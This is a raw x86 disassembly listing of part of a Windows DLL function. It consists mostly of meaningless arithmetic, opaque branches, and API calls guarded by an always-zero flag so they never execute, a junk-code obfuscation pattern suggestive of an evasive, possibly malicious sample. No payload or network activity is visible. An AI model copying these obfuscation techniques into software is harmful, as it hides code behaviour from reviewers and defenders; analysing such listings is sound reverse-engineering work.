mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x10]
lea eax, [edx + eax*8]
test eax, eax
je 0x100306c0
xor eax, eax
cmp dword [ebp - 0x9d8], eax
je 0x100306c2
inc eax
jmp 0x100306c2
xor eax, eax
mov dword [ebp - 0x30], eax
or esi, 0xffffffff
mov dword [ebp - 0x28], 0x41b44adc
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10030708
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x100306fc
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100306f7
push 0x1d11
call dword [sym.imp.USER32.dll_GetKeyState]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x100306e1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], 6
jl 0x100306d6
lea ecx, [ebp - 0xe70]
mov dword [ebp - 4], esi
call fcn.10017430
mov dword [ebp - 0x24], 0xddc85f70
xor eax, eax
mov dword [ebp - 0x10], 0xb3152c58
mov dword [ebp - 0x20], 0xff3de036
mov dword [ebp - 0x1c], 0x5c6a3f15
mov dword [ebp - 0x2c], 0x270bb1dc
mov dword [ebp - 0x48], 0xde47e5f8
mov dword [ebp - 0x30], 0x9d44e415
mov dword [ebp - 0x3c], 0xe024
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffef
jle 0x100307fa
jmp 0x10030767
xor eax, eax
mov dword [ebp - 0x4c], 0x11a796d4
mov dword [ebp - 0x14], eax
jmp 0x10030784
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x734], 0xb15a8df0
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10030773
mov eax, dword [ebp - 0x24]
xor edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x24]
je 0x100307a5
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100307a8
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x3e86f8c7
mov ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x734], ecx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1c], ecx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffef
jg 0x10030765
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xffff0001
setge al
neg eax
jne 0x10030846
imul eax, dword [ebp - 0x20], 0xffff
cmp eax, 9
jne 0x10030827
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
sub ecx, 0x4f8a3d35
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
sub eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
jne 0x10030846
mov ecx, eax
jmp 0x1003084b
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x10]
imul eax, ecx
cmp eax, dword [ebp - 0x10]
jle 0x10030859
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x2c]
jl 0x10030967
mov dword [ebp - 0x34], ebx
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc ebx
cmp dword [ebp - 0x14], ebx
jge 0x100308ba
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x380], 0x4202d95c
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1003089c
xor ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x34], eax
je 0x1003091e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], eax
jmp 0x100308d8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14f8], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100308c7
mov dword [ebp - 0x1c], 0x2efaadad
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100308f2
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
sub edx, eax
neg edx
sbb edx, edx
imul eax, dword [ebp - 0x34], 0xde87
inc edx
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 9
mov dword [ebp - 0x14ec], ecx
jmp 0x1003095f
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x20], 0xe
cmp dword [ebp - 0x20], 0xfffffff0
jge 0x1003095f
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jle 0x10030956
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x380], eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe7
jg 0x10030942
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff0
jl 0x10030939
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
jmp 0x100309e1
mov dword [ebp - 0x38], 0xd081
xor edx, edx
mov dword [ebp - 0x4c], 0x1b5e3525
inc dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
sub ecx, 0x4ae10e89
cmp ecx, eax
setl dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfffffffc
setge al
cmp eax, dword [ebp - 0x38]
je 0x100309c6
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100309c6
xor ebx, ebx
inc ebx
jmp 0x100309cb
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
xor eax, eax
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x14], eax
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10030a10
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1594], 0xdbeccce1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100309f8
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10030a4b
mov dword [ebp - 0x28], ebx
dec dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
jmp 0x10030a42
mov dword [ebp - 0x28], eax
jmp 0x10030a39
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030a36
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x10030a25
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10030a20
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff9
jge 0x10030a15
mov dword [ebp - 0x44], ebx
or ecx, 0xffffffff
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xc
jl 0x10030b2f
push 0xfffffffffffffff7
pop edi
jmp 0x10030a77
xor eax, eax
mov dword [ebp - 0x1c], 0x289a
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10030ab1
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x10]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl cl
add eax, 0xfffffff8
add eax, ecx
mov dword [ebp - 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jbe 0x10030ab4
xor eax, eax
jmp 0x10030ab4
xor eax, eax
inc eax
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x10]
cmp edx, eax
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xfe2
test eax, eax
jne 0x10030ade
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10030aed
cmp dword [ebp - 0x1c], eax
je 0x10030af0
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x10]
jg 0x10030b00
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10030b00
mov edx, eax
jmp 0x10030b05
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
push 1
sete cl
add ecx, dword [ebp - 0x4c]
cmp ecx, edi
pop ebx
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xc
jge 0x10030a75
mov edi, 0x4643
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x44], edi
inc eax
mov dword [ebp - 0x44], 0x59c17633
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x50], 0xfffd
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x446b7d86
mov dword [ebp - 0x14], eax
jmp 0x10030b6e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15ac], 0x1480146
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030b5d
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10030b8d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030bc2
call dword [sym.imp.USER32.dll_EndMenu]
jmp 0x10030bc2
mov dword [ebp - 0x44], 0xf37911b9
xor ecx, ecx
mov dword [ebp - 0x44], 0xb16eb2d3
inc ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], eax
jmp 0x10030bba
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15d0], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030ba9
inc dword [ebp - 0x4c]
mov dword [ebp - 0x44], 9
xor eax, eax
mov dword [ebp - 0x44], 0xe0bc
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030be4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030bf9
push 0x2510
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
mov dword [ebp - 0x44], 0x3fbb4ebb
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x38], 0x15
cmp dword [ebp - 0x38], 0xffffffe3
je 0x10030c7e
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], 0x2cb3a3fc
mov dword [ebp - 0x30], 0x1510afbd
mov dword [ebp - 0x2c], 0xffffffe6
cmp dword [ebp - 0x2c], 0xfffffff2
jle 0x10030c75
mov dword [ebp - 0x30], 0xef054a20
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
neg ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x2c], 0x8de6
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff2
jg 0x10030c3a
xor eax, eax
inc eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe3
jne 0x10030c1c
xor eax, eax
mov dword [ebp - 0x44], 0x3e31551d
inc eax
lea ecx, [ebp - 0xafc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x50], eax
push eax
call fcn.100173c8
push 0xfffffffffffffffd
pop eax
push 2
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0xc34]
pop esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], 0x6de6
push esi
call fcn.100173c8
xor eax, eax
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10030ce3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7c4], 0x68819570
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10030ccb
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x20], eax
inc ebx
cmp dword [ebp - 0x20], ebx
jge 0x10030d12
push dword [ebp - 0x20]
lea ecx, [ebp - 0xafc]
call fcn.10017435
mov dword [eax], 0xbae0
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x10030cee
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
jmp 0x10030d2e
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc34]
call fcn.10017435
mov dword [eax], 0x127420e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10030d17
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0xafc]
mov eax, dword [ebp - 0x7c0]
xor eax, eax
push eax
call fcn.10017435
mov ecx, dword [ebp - 0x50]
mov esi, eax
xor edx, edx
cmp ecx, ebx
mov ecx, dword [ebp - 0x7c4]
setg dl
xor ebx, ebx
mov edi, dword [esi]
cmp ecx, edx
setle bl
lea eax, [edi - 1]
mov dword [esi], eax
xor eax, eax
lea edx, [eax + 1]
cmp edi, ebx
je 0x10030d75
mov edx, eax
shl edx, 3
xor ecx, ecx
mov dword [ebp - 0x7c4], edx
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x4c]
jg 0x10030da6
xor eax, eax
lea ecx, [ebp - 0xc34]
push eax
call fcn.10017435
cmp dword [eax], 0
jne 0x10030da6
xor eax, eax
mov ecx, eax
jmp 0x10030dab
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
shl ecx, 2
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xc34]
call fcn.10017430
or eax, 0xffffffff
lea ecx, [ebp - 0xafc]
mov dword [ebp - 4], eax
call fcn.10017430
mov dword [ebp - 0x44], 0x49cec79e
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff6
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10030e10
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5e4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030dfc
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x10030e88
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030e3d
push eax
push eax
push 0x181b
push 0x1a83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [ebp - 0x10]
push 0
pop ecx
push 0
mov eax, dword [ebp + eax*4 - 0x5e4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5e4]
mov eax, dword [ebp - 0x5dc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5e4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5e4]
neg eax
mov eax, dword [ebp - 0x10]
sets cl
mov dword [ebp + eax*4 - 0x5e4], ecx
dec dword [ebp - 0x10]
pop eax
jns 0x10030e1b
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x954]
push ebx
call fcn.100173c8
xor edi, edi
mov dword [ebp - 4], 0x19
inc edi
xor eax, eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030ec9
push dword [ebp - 0x14]
lea ecx, [ebp - 0x954]
call fcn.10017435
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030eae
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030eef
push dword [ebp - 0x10]
lea ecx, [ebp - 0x954]
call fcn.10017435
mov dword [eax], 0x297
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030ed1
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10030f05
push dword [ebp - 0x10]
call fcn.10017435
mov dword [eax], 0xc2db
inc dword [ebp - 0x10]
lea ecx, [ebp - 0x954]
cmp dword [ebp - 0x10], ebx
jl 0x10030ef4
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10017430
mov dword [ebp - 0x44], 0x71247adf
lea ecx, [ebp - 0xcac]
xor eax, eax
mov dword [ebp - 0x30], 0xfaaaeb9a
mov dword [ebp - 0x10], eax
push esi
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x14], eax
jmp 0x10030f5f
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcac]
call fcn.10017435
mov dword [eax], 0xd3a18e41
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030f48
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
setl bl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
imul ebx, edx
cmp ebx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x185299da
je 0x10030faa
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030ff4
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
jmp 0x10030ff4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10030fd0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xcac]
call fcn.10017435
mov dword [eax], 0x582f80c3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10030fb2
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030ff4
push eax
push 0x1053
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
or ebx, 0xffffffff
lea ecx, [ebp - 0xcac]
mov dword [ebp - 4], ebx
call fcn.10017430
mov dword [ebp - 0x44], 0xc40ed3c1
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 0x493876a4
mov dword [ebp - 0x4c], 0x8376fbf
mov dword [ebp - 0x30], 0xfb9a
mov dword [ebp - 0x50], 0xd4b4b26d
mov dword [ebp - 0x14], eax
jmp 0x10031043
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe78], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031032
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x10]
jle 0x10031068
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10031068
mov edx, eax
jmp 0x10031070
xor eax, eax
xor edi, edi
inc edi
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x10]
je 0x100310b8
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100310ba
mov eax, edi
jmp 0x100310ba
xor eax, eax
neg eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xe74], 0xffff
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
imul ecx, ecx, 0xfffd
push 0xfffffffffffffff7
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xc0a9
setl al
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x10], 8
pop eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], ebx
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x30], 0xed7d4130
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10031134
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd00], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003111b
xor eax, eax
mov esi, edi
cmp dword [ebp - 0x10], eax
jne 0x10031150
xor ecx, ecx
mov esi, eax
mov eax, dword [ebp - 0x10]
cmp eax, 0xca70051
setl cl
mov dword [ebp - 0xcf4], ecx
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0xcfc]
cmp ecx, eax
mov eax, 0xa83d87e3
setg dl
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xcfc]
sub ecx, eax
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x100311a1